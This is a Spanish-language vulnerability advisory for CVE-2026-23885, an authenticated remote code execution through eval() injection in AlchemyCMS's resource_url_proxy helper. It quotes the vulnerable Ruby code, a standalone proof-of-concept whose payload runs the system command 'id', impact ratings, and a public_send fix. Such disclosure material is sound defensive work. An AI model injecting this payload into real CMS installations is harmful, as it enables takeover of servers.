
Prueba de concepto de exploit para CVE-2026-23885, una RCE autenticada en AlchemyCMS mediante inyección en eval(), con análisis técnico y guía de remediación.
Se descubrió una vulnerabilidad de seguridad crítica que involucra Neutralización Incorrecta de Directivas en Código Evaluado Dinámicamente (CWE-95) en el framework AlchemyCMS. La vulnerabilidad permite que un usuario autenticado con privilegios administrativos ejecute código Ruby arbitrario y comandos del sistema en el servidor host a través de un punto de inyección eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyEl método auxiliar procesa de forma insegura el atributo engine_name del objeto resource_handler. Este atributo se pasa directamente a la función eval() de Ruby sin saneamiento ni validación previa.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
La presencia de la directiva # rubocop:disable Security/Eval confirma que las implicaciones de seguridad del uso de eval() fueron reconocidas pero omitidas durante la implementación.
3. Prueba de Concepto (PoC)
Vector de Ataque
La vulnerabilidad se desencadena dentro de la interfaz administrativa de AlchemyCMS al renderizar vistas basadas en recursos (por ejemplo, Sitios o Idiomas). Si un atacante puede manipular la configuración del módulo o los datos subyacentes del recurso, puede lograr la ejecución.
Script de Explotación Independiente
El siguiente script demuestra la ejecución arbitraria de código simulando el entorno vulnerable del método auxiliar:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload: Ejecuta el comando del sistema 'id' y crea un archivo de evidencia
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Evidencia de Ejecución
Tras la ejecución, el comando del sistema se procesa, otorgando al atacante acceso al entorno del servidor.

Integridad: Alta. Capacidad de modificar archivos y registros de bases de datos.
Disponibilidad: Alta. Potencial de interrupción total del sistema.
ID de CVE: CVE-2026-23885
7.4.12
8.0.3
La corrección implica reemplazar la llamada a eval() con public_send() para enrutar de forma segura las solicitudes al proxy del motor previsto:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
Referencia CVE: CVE-2026-23885